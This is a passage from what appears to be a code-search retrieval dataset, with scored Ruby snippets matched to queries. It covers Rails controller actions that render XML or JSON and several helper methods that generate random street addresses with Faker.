"text": "def show\n @tah = Tah.find(params[:id])\n @tah_tsos = @tah.tsos.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tah.to_xml(:except => [ :created_at, :updated_at ], :include => :tsos) }\n end\n end",
"title": ""
},
{
"docid": "0d498dd1b90e1677a9b7f339f4872e5f",
"score": "0.5965563",
"text": "def index\r\n @entry = Entry.find(params[:entry_id])\r\n\t @tags = @entry.tags\r\n #@tag.entry = @entry\r\n #@tag.user = current_user\r\n \r\n\t respond_to do |format|\r\n # format.html # index.html.erb\r\n format.xml { render :xml => @tags }\r\n end\r\n end",
"title": ""
},
{
"docid": "9a83f8137a2abdde37ceefeaed503028",
"score": "0.59553325",
"text": "def index\n @ticket_updates = TicketUpdate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ticket_updates }\n end\n end",
"title": ""
},
{
"docid": "6bef09ca910d098c416f1829bebd96ea",
"score": "0.5949618",
"text": "def show\n @trunk = Trunk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @trunk }\n end\n end",
"title": ""
},
{
"docid": "cd7a06fe135a4db129e6b4f708ce6cf2",
"score": "0.5949587",
"text": "def show\n @set_log_entry = SetLogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @set_log_entry }\n end\n end",
"title": ""
},
{
"docid": "cf3d7080b9c32a48f5b7fa6bed74b5d6",
"score": "0.594526",
"text": "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @trail }\n end\n end",
"title": ""
},
{
"docid": "4f70b30b11cd6d3a074031647b28dbda",
"score": "0.59335715",
"text": "def show\n @revista = Revista.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @revista }\n end\n end",
"title": ""
},
{
"docid": "6254de747ffa3e0cb95cb96682c79b98",
"score": "0.59313065",
"text": "def index\n @hc12_sources = Hc12Source.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hc12_sources }\n end\n end",
"title": ""
},
{
"docid": "aa78ad0c4476c10d2a0022d7a0d76723",
"score": "0.5910593",
"text": "def index\n @trackbacks = @entry.trackbacks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @trackbacks }\n end\n end",
"title": ""
},
{
"docid": "2c8c27dbbdf492a473debfda0f8080d3",
"score": "0.59033436",
"text": "def show\n @glosentry = Glosentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @glosentry }\n end\n end",
"title": ""
},
{
"docid": "d8338dbce7591d441d7bf56c190dbbdd",
"score": "0.5900481",
"text": "def index\n @activity = Activity.find(params[:activity_id])\n @versions = @activity.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @version }\n format.atom # index.atom.builder\n end\n end",
"title": ""
},
{
"docid": "670a3f3797c129d20e7458a2241950c0",
"score": "0.5898817",
"text": "def show\n @newsentry = Newsentry.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @newsentry }\n end\n end",
"title": ""
},
{
"docid": "4a1aeba1ab116c3355841616034c5f2f",
"score": "0.5897926",
"text": "def update\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.find(params[:id])\n\n respond_to do |format|\n if @otrunk_view_entry.update_attributes(params[:otrunk_view_entry])\n flash[:notice] = 'OtrunkExample::OtrunkViewEntry was successfully updated.'\n format.html { redirect_to(@otrunk_view_entry) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @otrunk_view_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "262080a3709be70a6fc0e7a42f47358e",
"score": "0.58883667",
"text": "def index\n @stockretakes = Stockretake.find_detailed\n Rails.logger.debug{@stockretakes.inspect}\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stockretakes }\n end\n end",
"title": ""
},
{
"docid": "6ae3dfbcd55650cda5428db67e6c3fcf",
"score": "0.5884076",
"text": "def show\n @entry = Entry.find(params[:id])\n @revisions = Revision.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end",
"title": ""
},
{
"docid": "a378256ce3d6338af7180ff544f22b3c",
"score": "0.5880969",
"text": "def xml_report\n RestClient::get \"#{@base}/OTHER/core/other/xmlreport/\"\n end",
"title": ""
},
{
"docid": "5287660ffc1da7d33d5de8abe3f2ebbf",
"score": "0.58779997",
"text": "def xml_report\n RestClient::get \"#{base}/OTHER/core/other/xmlreport/\"\n end",
"title": ""
},
{
"docid": "2e2154b6e56424183f41893d33dfafe9",
"score": "0.5876054",
"text": "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html { render :layout=>false }\n format.xml { render :xml => @trail }\n end\n end",
"title": ""
},
{
"docid": "a2b97acf1e49b4749f14612bc6198635",
"score": "0.5869059",
"text": "def show\n @xen_log = XenLog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @xen_log }\n end\n end",
"title": ""
},
{
"docid": "8c658ea815af914724fe887b2ac3bac9",
"score": "0.5855799",
"text": "def show\n @zotero_ingest = ZoteroIngest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @zotero_ingest }\n end\n end",
"title": ""
},
{
"docid": "78ad36c4fbdce5789db718b8924090fe",
"score": "0.5842697",
"text": "def show\n @ticket_history = TicketHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ticket_history }\n end\n end",
"title": ""
},
{
"docid": "57169d1de921b9ffe93e5ae79d00612d",
"score": "0.58322746",
"text": "def index\n @live_sources = LiveSource.find(:all)\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { @live_sources.to_xml }\n end\n end",
"title": ""
},
{
"docid": "77790e44ddbf734e8a29602669dd5f26",
"score": "0.5828749",
"text": "def show\n find_recipe_with_version\n \n respond_to do |format|\n format.html # show.rhtml\n format.xml { render xml: @recipe.to_xml }\n end\n end",
"title": ""
},
{
"docid": "0dc96cc629cdc43cbfcffc8a7b26450f",
"score": "0.58282995",
"text": "def show\n @quest_entry = QuestEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quest_entry }\n end\n end",
"title": ""
},
{
"docid": "b90a6c1709b9877030792b5f4c3d3a75",
"score": "0.58264947",
"text": "def index\n @ticket_logs = TicketLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ticket_logs }\n end\n end",
"title": ""
},
{
"docid": "1e16761f6f52096ee8a883f9e4dd0d67",
"score": "0.58230376",
"text": "def index\n @versions = Version.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"title": ""
},
{
"docid": "b43bd960acee68f555f9e544c9a3fc9d",
"score": "0.5823021",
"text": "def show\n @contestant_entry = ContestantEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contestant_entry }\n end\n end",
"title": ""
},
{
"docid": "8c47801177801fdf92a7bdd42caced2d",
"score": "0.5820502",
"text": "def show\n @servicing_history = ServicingHistory.find(params[:id])\n \n\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @servicing_history }\n end\n end",
"title": ""
},
{
"docid": "7e1cc2fb624d36e58f9fc061eb4c4b81",
"score": "0.5817885",
"text": "def show\n @request_for_test_entry = RequestForTestEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @request_for_test_entry }\n end\n end",
"title": ""
},
{
"docid": "82f3069576cfab2a45520977645db098",
"score": "0.58089143",
"text": "def index\n @reference_logs = ReferenceLog.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reference_logs }\n end\n end",
"title": ""
},
{
"docid": "0d5613077b028fac885591800ee4e229",
"score": "0.580676",
"text": "def index\n @versions = @page.versions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @versions }\n end\n end",
"title": ""
},
{
"docid": "e9e2d092b6fcdcde19a46ba3cb1ac0b4",
"score": "0.58008647",
"text": "def index\n filter = params['filter'] || 'default'\n @entries = Entry.filter(visitor: current_visitor, filter: filter)\n @api_key = current_visitor.api_key\n respond_to do |format|\n format.html\n format.json { render json: @entries, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "006dd730e81564ebdcbc4985a23e2fa2",
"score": "0.58002365",
"text": "def rss # :nologin:\n headers[\"Content-Type\"] = \"application/xml\"\n @logs = RssLog.all(:conditions => \"datediff(now(), updated_at) <= 31\",\n :order => \"updated_at desc\", :limit => 100, :include => [\n :name, :species_list, { :observation => :name },\n ])\n render(:action => \"rss\", :layout => false)\n end",
"title": ""
},
{
"docid": "b96bf460efc70c90646602432b44489d",
"score": "0.57934004",
"text": "def show\n @l1_node = L1Node.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @l1_node }\n end\n end",
"title": ""
},
{
"docid": "262ffcd0b3f1846d77ea17a9b2289f14",
"score": "0.57927054",
"text": "def index\n @lookups = Lookup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookups }\n end\n end",
"title": ""
},
{
"docid": "44ae68d1b3134bcb20598b0d42c228eb",
"score": "0.5772208",
"text": "def show\n exceptions = []\n if params[:except]\n exceptions = params[:except].split(\",\")\n end\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @external_otrunk_activity.to_xml(:except => exceptions) }\n end\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.57709694",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "13e23e57b56cb1ddb3150410027f1519",
"score": "0.5766692",
"text": "def index\n @entries = @location.entries.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entries }\n end\n end",
"title": ""
},
{
"docid": "0c35deabcd0ea1fbcddf548515156d59",
"score": "0.57661694",
"text": "def show\n @entry_meta = EntryMeta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry_meta }\n end\n end",
"title": ""
},
{
"docid": "53d6c881d9e88cb7fc7877eae5b7542e",
"score": "0.57634383",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @weblog_archive }\n end\n end",
"title": ""
},
{
"docid": "e3fa0ed2aa00e38e44f500db0248c14d",
"score": "0.5760796",
"text": "def show\n @tariff = Tariff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tariff }\n end\n end",
"title": ""
},
{
"docid": "c017c463422a3a764776e7548befd65a",
"score": "0.5755961",
"text": "def show\n @trackback = @entry.trackbacks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @trackback }\n end\n end",
"title": ""
},
{
"docid": "abf085fa010b4d499aa949ffbc46a798",
"score": "0.5754692",
"text": "def show\n @orc_ata_iten = OrcAtaIten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orc_ata_iten }\n end\n end",
"title": ""
},
{
"docid": "cd8ec4aa79a42602837b8612f4ce45b7",
"score": "0.5753186",
"text": "def index\n @vods = Vod.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vods }\n end\n end",
"title": ""
},
{
"docid": "6e30bf68addb51d4a943b59fb7b3d851",
"score": "0.5744114",
"text": "def index\n @kpitargets = Kpitarget.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @kpitargets }\n end\n end",
"title": ""
},
{
"docid": "c93985a43be8d0c9fcaa258e860ae1d3",
"score": "0.5743497",
"text": "def show\n @entree = Entree.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entree }\n end\n end",
"title": ""
},
{
"docid": "9811c1bed54ac8c4172e49c953103c38",
"score": "0.57423586",
"text": "def others_revisions\n @revisions = Revision.find(:all, :order => \"created_at DESC\", :limit => 50, :include => [:page, :user], :conditions => [\"user_id != ? OR user_id IS ?\", params[:id], nil])\n @rss = url_for(:format => \"rss\", :id => params[:id])\n \n respond_to do |format|\n format.html\n format.rss { render :action => \"revisions\" }\n end\n end",
"title": ""
}
] |
6afc54f56742d49b0f5b0dabd2bfd7c2 | return a random street address | [
{
"docid": "ab166a11fdd4951d480f239463aec25c",
"score": "0.7761546",
"text": "def street_address\n Faker::Address.street_address\n end",
"title": ""
}
] | [
{
"docid": "ec22de9714930b26e3f4730630903cca",
"score": "0.8543571",
"text": "def street_address\n number = rand(1..9000)\n street = Dictionary.animals.sample\n street = street.split(\" \").map! {|word| word.capitalize! }.join(\" \")\n \"#{number} #{street} #{Dictionary.addresses.sample}\"\n end",
"title": ""
},
{
"docid": "ec22de9714930b26e3f4730630903cca",
"score": "0.8543571",
"text": "def street_address\n number = rand(1..9000)\n street = Dictionary.animals.sample\n street = street.split(\" \").map! {|word| word.capitalize! }.join(\" \")\n \"#{number} #{street} #{Dictionary.addresses.sample}\"\n end",
"title": ""
},
{
"docid": "06100ce9119db459436339c0a83ce09b",
"score": "0.80501515",
"text": "def address_line_1\n \"#{rand(40000)} #{@@streetnames.rand} #{@@street_types.rand}\"\n end",
"title": ""
},
{
"docid": "8479947f0457b36eee00b481287b875d",
"score": "0.7601781",
"text": "def random_geocode(address)\n lat, lon = geocode(address)\n random_point_from(lat, lon)\n end",
"title": ""
},
{
"docid": "063a6c7568bf1dc61fdaeeaf162e3208",
"score": "0.7481851",
"text": "def generate_random_address(options=nil)\n if !options.nil?\n state_name = options[:state_province]\n city_name = options[:city]\n state_abbr = options[:state_abbr]\n area_code = options[:area_code]\n end\n address_hash = Hash.new\n # TODO: do options...\n city = random_model(City)\n address_hash[:street_address] = rand(10000).to_s + ' ' + random_model(StreetName).name\n address_hash[:city] = city.name\n address_hash[:state_province] = city.state_province.name\n address_hash[:phone_number] = pick_area_code(city).npa + '-' + rand(1000).to_s + '-' + rand(10000).to_s\n address_hash[:postal_code] = pick_postal_code(city).postal_code\n return address_hash\nend",
"title": ""
},
{
"docid": "3d8eaa4abeeec9ae14404878c39a546f",
"score": "0.7268844",
"text": "def street_address(include_secondary = false)\n Faker::Address.street_address(include_secondary: include_secondary)\n end",
"title": ""
},
{
"docid": "cc20cbc2e4d1cfc6a164dc24306a5327",
"score": "0.72338736",
"text": "def address_factory\n if @addresses.length == 0\n return Faker::Address.street_address\n end\n add = @addresses.sample\n @addresses.delete(add)\n add\nend",
"title": ""
},
{
"docid": "103b126ff89d04695c49a504eed774f0",
"score": "0.7053006",
"text": "def street()\n return \"3 ARGYLE HOUSE\"\n end",
"title": ""
},
{
"docid": "be4d4c500decbf809f2590d4c311ed3a",
"score": "0.7021651",
"text": "def initialize\n (@zip, @phone_prefix, @town) = TOWNS.sample.split(\"\\t\")\n @street_name = STREETS.sample\n @street_number = rand(1..120).to_s + (rand(30)==15 ? ('a'..'e').to_a.sample : \"\")\n end",
"title": ""
},
{
"docid": "181f4a249585d075485402b38c9b7a1b",
"score": "0.6835214",
"text": "def street_address\n address_strings[0]\n end",
"title": ""
},
{
"docid": "40059ea577d8ab062b6ea8705be0fb6a",
"score": "0.6810523",
"text": "def secondary_address\n Faker::Address.secondary_address\n end",
"title": ""
},
{
"docid": "40059ea577d8ab062b6ea8705be0fb6a",
"score": "0.6810523",
"text": "def secondary_address\n Faker::Address.secondary_address\n end",
"title": ""
},
{
"docid": "0b2a48b7d034d517254b76a790c027a4",
"score": "0.6801602",
"text": "def random_user_address(user_id)\n address_choices = (Address.select(:id).where(:user_id => user_id)).to_a\n address_choices[0] ? address_choices.sample[:id] : nil\nend",
"title": ""
},
{
"docid": "0b2a48b7d034d517254b76a790c027a4",
"score": "0.6801602",
"text": "def random_user_address(user_id)\n address_choices = (Address.select(:id).where(:user_id => user_id)).to_a\n address_choices[0] ? address_choices.sample[:id] : nil\nend",
"title": ""
},
{
"docid": "02af1f61e51f28c2d59e39d57f78cd23",
"score": "0.67967606",
"text": "def create_random_address label, eighteen_byte_ripe = false, total_difficulty = 1, small_message_difficulty = 1\n @client.call(\n 'createRandomAddress',\n Base64.encode64(label),\n eighteen_byte_ripe,\n total_difficulty,\n small_message_difficulty)\n end",
"title": ""
},
{
"docid": "ed270f6cf24161fc7c37035a323663a7",
"score": "0.6753239",
"text": "def generate_random_postcode\n @single_random_postcode_data = JSON.parse(self.class.get(\"/random/postcodes\").body)[\"result\"][\"postcode\"].gsub(\" \", \"\")\n end",
"title": ""
},
{
"docid": "d808e4f875bfd0c02fe827fe3ca44c2b",
"score": "0.67395294",
"text": "def address\n '310 S Harrington'\n end",
"title": ""
},
{
"docid": "5abeb1b320edf6835b2f38da5b8e3eb2",
"score": "0.67049587",
"text": "def generate_addresses(user_id)\n (rand(4) + 1).times do\n a = Address.new\n a[:user_id] = user_id\n a[:street_address] = Faker::Address.street_address\n a[:city_id] = City.select(:id).sample.id\n a[:state_id] = State.select(:id).sample.id\n a[:zip_code] = Faker::Address.zip.to_i\n a.save! #just to check if anything fails here\n end\nend",
"title": ""
},
{
"docid": "9f6f7c5af150b786bacfff2fd7e64717",
"score": "0.66717833",
"text": "def street_address\n \"#{addr_1}, #{addr_2}, #{addr_city}, #{addr_state} #{addr_code} #{addr_country}\"\n end",
"title": ""
},
{
"docid": "dc40e8536202592178f649439d8fa1d6",
"score": "0.6636673",
"text": "def random_user_address(user_id)\n address_choices = (Address.select(:id).where(:user_id => user_id)).to_a\n address_choices.sample[:id]\nend",
"title": ""
},
{
"docid": "07c8210572c48b756fe2c1c559179675",
"score": "0.661827",
"text": "def rand_loc\n locations = [\"FL\", \"GA\", 'TN', 'AL', 'KY', 'NY', 'NJ']\n locations[rand(locations.count)]\nend",
"title": ""
},
{
"docid": "d580251d18ef7ab4e7a9df4264359709",
"score": "0.6597452",
"text": "def full_street_address\n \"#{street_address}, #{city}, GA\"\n end",
"title": ""
},
{
"docid": "4e2f56823b62c80671bd92740ed3a35d",
"score": "0.65952027",
"text": "def get_random_location\n lat = 0 - rand(20..32)\n lng = rand(120..150)\n\n # Location lookup via Google\n success, desc = translate_to_location(lat, lng)\n if success == false or desc == ''\n desc = 'Page the dev team'\n end\n return lat, lng, desc\n end",
"title": ""
},
{
"docid": "0eecc8bf894eaf9a01c3aacf89717130",
"score": "0.6583361",
"text": "def get_random_pin\n ss = ''\n 4.times do\n ss.concat rand(10).to_s\n end\n return ss\n end",
"title": ""
},
{
"docid": "cd39a74517654dac4bf1ebd9aea52423",
"score": "0.6557479",
"text": "def move_to_random random\n if random == 0 \n return @avenue.destination, @avenue.name\n elsif random == 1\n return @street.destination, @street.name\n else\n raise \"Invalid random number\"\n end\n end",
"title": ""
},
{
"docid": "2f9eef5f539edee895509e5c8bf84908",
"score": "0.6511853",
"text": "def street\n address.street\n end",
"title": ""
},
{
"docid": "6d7fb036fdebe8291a2bacface2320ba",
"score": "0.6486698",
"text": "def address\n zip = @zipcodes.keys[rand(@zipcodes.length)]\n {\n 'street' => [\n \"#{rand(100)} #{@streetnames[rand(@streetnames.length)]} Street\"\n ],\n 'city' => @zipcodes[zip]['city'],\n 'state' => @zipcodes[zip]['state'],\n 'postalCode' => zip\n }.to_json\n end",
"title": ""
},
{
"docid": "8dd8915cd06efeec2e037f1b074b40f6",
"score": "0.64037067",
"text": "def full_street_address\n return \"#{address_1} #{city} #{state} #{zip_code}\"\n end",
"title": ""
},
{
"docid": "53b521a5ea09bf3f60080bc76d9bec03",
"score": "0.6390988",
"text": "def create_shipping_address(customer_id, num_states, is_primary)\n\tshipping_state = State.all[rand(num_states)]\n\tshipping_address = Address.create!(\n\t\t\tstreet: Faker::Address.street_address,\n\t\t\tcity: Faker::Address.city,\n\t\t\tstate: shipping_state,\n\t\t\tzipcode: Faker::Address.zip\n\t\t)\n\n\tCustomersShippingAddress.create!(customer_id: customer_id, address: shipping_address, primary: is_primary)\n\nend",
"title": ""
},
{
"docid": "7312412a27fcaa60eea5ff4dddc3ef2b",
"score": "0.6384155",
"text": "def street_address\n address_parts[0]\n end",
"title": ""
},
{
"docid": "59a354c9b6da36060f8f0be5ce730e50",
"score": "0.63773006",
"text": "def address\n return street + \" \" + house_number + \" \" + postal_code + \" \" + city + \" Denmark\"\n end",
"title": ""
},
{
"docid": "01b7028b49bcac75bb74ca7451f1e0ab",
"score": "0.6371149",
"text": "def address\n 'The sea'\n end",
"title": ""
},
{
"docid": "01b7028b49bcac75bb74ca7451f1e0ab",
"score": "0.6371149",
"text": "def address\n 'The sea'\n end",
"title": ""
},
{
"docid": "375007ae96a66039cead8f7e7653b252",
"score": "0.63537216",
"text": "def create_address(street_names, states)\n\tputs \"creating a new address record\"\n\n\tstreet_number = \"\"\n\t3.times do\n\t\tstreet_number += rand(10).to_s\n\tend\n\n\tstreet_name = street_names[rand(street_names.length)]\n\n\tstate = states[rand(states.length)]\n\n\taddress = Address.create(\n\t\tstreetNumber: street_number,\n\t\tstreetName: street_name,\n\t\tsuburbID: 1, \n\t\tstate: state\n\t\t)\n\n\tputs \"address record created. id: #{address.id}\"\n\taddress.id\nend",
"title": ""
},
{
"docid": "8bc44a5040091f232670c8291e6da30c",
"score": "0.6347358",
"text": "def full_street_address\n if address?\n address + \", \" + city + \", \" + state\n else\n city + \", \" + state\n end\n end",
"title": ""
},
{
"docid": "23f944b470d08a3af246a322427a31cc",
"score": "0.63390446",
"text": "def make_address(street, city, state, zip)\n\tstreet= '633 Folsom St.'\n\tcity= 'San Francisco'\n\tstate= 'CA'\n\tzip= '94107'\n\tp \"You live at \"+ street +\", in the beautiful city of \"+ city +\", \"+ state +\". Your zip is \"+zip+\".\"\nend",
"title": ""
},
{
"docid": "26fca5af7d967e1d3cf7d897d836cda2",
"score": "0.63149595",
"text": "def address_line_2\n \"#{@@line2types.rand} #{rand(999)}\" \n end",
"title": ""
},
{
"docid": "fa1c6043d01dda565ae6c2007b525b4e",
"score": "0.62894213",
"text": "def make_address(street, city, state, zip)\n\treturn \"You live at #{street}, in the beautiful city of #{city}, #{state}. Your zip is #{zip}.\"\nend",
"title": ""
},
{
"docid": "4a65c5f4a76d80f90cc20ec5bac74237",
"score": "0.62814605",
"text": "def street_address\n return @street_address\n end",
"title": ""
},
{
"docid": "4a65c5f4a76d80f90cc20ec5bac74237",
"score": "0.62814605",
"text": "def street_address\n return @street_address\n end",
"title": ""
},
{
"docid": "8fc7d8ebd7ea259b60fc65a9a44c6471",
"score": "0.6275275",
"text": "def random_freephone_number\n return '0800 '+some_random_numbers(6+rand(1))\n end",
"title": ""
},
{
"docid": "1245a56243b65a1535f823d017d8218c",
"score": "0.6274277",
"text": "def get_street(new_loc)\n curr_loc = @driver.location nil\n\n return 'Fourth Ave.' if (@val.fourth_check new_loc, curr_loc).is_a? String\n return 'Fifth Ave.' unless (@val.fifth_check new_loc, curr_loc).zero?\n return 'Foo St.' unless (@val.foo_check new_loc, curr_loc) == 'no'\n @val.bar_check new_loc, curr_loc\n end",
"title": ""
},
{
"docid": "52e574414ce7b115e55918051728c34e",
"score": "0.625834",
"text": "def full_address\n\t\t\"#{number} #{street} #{city}, #{state} \"\n\tend",
"title": ""
},
{
"docid": "3b7caaa503b72e3841a44dd2bd57572a",
"score": "0.62465906",
"text": "def generate_address\n city_name = @geo_query.city.present? ? @geo_query.city : NOT_LISTED\n district_name = @geo_query.district.present? ? @geo_query.district : NOT_LISTED\n region = Region.find_or_create_by(name: @geo_query.region)\n city = region.cities.find_or_create_by(name: city_name)\n district = city.districts.find_or_create_by(name: district_name)\n location = district.locations.find_or_create_by(latitude: @latitude,\n longitude: @longitude)\n if location.present?\n set_address location\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "5f15683cf34eaf5177472071946d529e",
"score": "0.6237483",
"text": "def zip_code\n Faker::Address.zip_code\n end",
"title": ""
},
{
"docid": "1c9fe1bfaec2e5f22b31ccdf098affc9",
"score": "0.6233877",
"text": "def get_street_address(results)\r\n results = results.last\r\n result = results.first\r\n if result\r\n return result[:street_address]\r\n else\r\n return nil\r\n end\r\n end",
"title": ""
},
{
"docid": "053efd82c6c4be50a0cef8986d6585f8",
"score": "0.6218659",
"text": "def test_nevada_city_to_angels_camp\n\t\texpected_location = \"Angels Camp\"\n\t\t@test_sim.stub(:random_num, 0) do\n\t\t\tassert_equal expected_location, @test_sim.next_location(\"Nevada City\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9ae02ef9352732323078ce5aad92b104",
"score": "0.6218584",
"text": "def street_address\n address_node.text.match(/\\A\\s+(\\w+(\\s\\w+){0,})/)[1]\n end",
"title": ""
},
{
"docid": "1b519e1fdb8a4d19f0893ea7abb23dd1",
"score": "0.6215597",
"text": "def street\n return @street\n end",
"title": ""
},
{
"docid": "1b519e1fdb8a4d19f0893ea7abb23dd1",
"score": "0.6215597",
"text": "def street\n return @street\n end",
"title": ""
},
{
"docid": "cae82b91fda2ae046bcc03c2410901e5",
"score": "0.6192888",
"text": "def street\n \"#{@street_name} #{@street_number}\"\n end",
"title": ""
},
{
"docid": "0f63cce037f6dbbea02a25e12618e8de",
"score": "0.61906",
"text": "def get_random_business_url\n BUSINESS_URLS[rand(BUSINESS_URLS.size)]\nend",
"title": ""
},
{
"docid": "ce208b2dd3d9e9b7851a361cbb537cb6",
"score": "0.61872673",
"text": "def choose_place_name\n cities = load_list\n index = rand(cities.length)\n city = cities[index]\n \"#{city['Place'][0..-6]}, #{city['State']}\"\nend",
"title": ""
},
{
"docid": "ca84363a4d3ccd980fcc89fb6f5f9351",
"score": "0.6183194",
"text": "def zip_code\n Faker::Address.zip\n end",
"title": ""
},
{
"docid": "29fdbf00c00a5f139ad7f00b17fdd645",
"score": "0.618171",
"text": "def get_street new_location\n\t\tfourth = [\"Hospital\", \"Cathedral\", \"Monroeville\"]\n\t\tfifth = [\"Downtown\", \"Hillman\", \"Museum\"]\n\t\tboth = [new_location, @driver.current_location]\n\t\t\n\t\treturn nil if both[0] == both[1]\n\t\treturn \"Fourth Ave.\" if fourth.include?(both[0]) && fourth.include?(both[1])\n\t\treturn \"Fifth Ave.\" if fifth.include?(both[0]) && fifth.include?(both[1])\n\t\treturn \"Foo St.\" if both.include?(\"Hospital\") && both.include?(\"Hillman\")\n\t\treturn \"Bar St.\" if both.include?(\"Cathedral\") && both.include?(\"Museum\")\n\t\t\n\t\tnil #this should never be returned unless something went wrong\n\tend",
"title": ""
},
{
"docid": "4c046b8ec479a549097115b2dee78fbf",
"score": "0.6175442",
"text": "def generate_addresses(user)\n rand(1..5).times do\n a = Address.new\n a.first_name = user.first_name\n a.last_name = user.last_name\n a.street_address_1 = Faker::Address.street_address\n a.street_address_2 = Faker::Address.secondary_address if rand < 0.4\n a.city = @city_options.sample\n a.state = @state_options.sample\n a.zip = Faker::Address.zip[0..4]\n a.default_shipping = false\n a.default_billing = false\n a.user_id = user.id\n\n a.save!\n end\n\n default_addresses(user.id)\n end",
"title": ""
},
{
"docid": "4c046b8ec479a549097115b2dee78fbf",
"score": "0.6175442",
"text": "def generate_addresses(user)\n rand(1..5).times do\n a = Address.new\n a.first_name = user.first_name\n a.last_name = user.last_name\n a.street_address_1 = Faker::Address.street_address\n a.street_address_2 = Faker::Address.secondary_address if rand < 0.4\n a.city = @city_options.sample\n a.state = @state_options.sample\n a.zip = Faker::Address.zip[0..4]\n a.default_shipping = false\n a.default_billing = false\n a.user_id = user.id\n\n a.save!\n end\n\n default_addresses(user.id)\n end",
"title": ""
},
{
"docid": "c9a14a06d10ca134b610b771591fc394",
"score": "0.6171135",
"text": "def state\n Faker::Address.state\n end",
"title": ""
},
{
"docid": "c9a14a06d10ca134b610b771591fc394",
"score": "0.6171135",
"text": "def state\n Faker::Address.state\n end",
"title": ""
},
{
"docid": "3f0f361c11ccb8432155bea150df4ddb",
"score": "0.6164894",
"text": "def townify\n #towns = [\"Brisbane\", \"Southport\", \"Broadbeach\", \"Mooloombaba\", \"Indiroopulli\"]\n #towns = [\"Abcville\", \"abcville\"]\n #town = towns[rand(2)]\n # force single town for testing\n town = \"Abcville\"\n end",
"title": ""
},
{
"docid": "502c8b472289535e2c674178a3a9a874",
"score": "0.6164166",
"text": "def city\n Faker::Address.city\n end",
"title": ""
},
{
"docid": "502c8b472289535e2c674178a3a9a874",
"score": "0.6164166",
"text": "def city\n Faker::Address.city\n end",
"title": ""
},
{
"docid": "55644a969b78826f3d0b535196e2234a",
"score": "0.6155478",
"text": "def full_street_address\n\t\treturn self.address\n\tend",
"title": ""
},
{
"docid": "f654134403bb37d9f85ff0caea895d9a",
"score": "0.6151652",
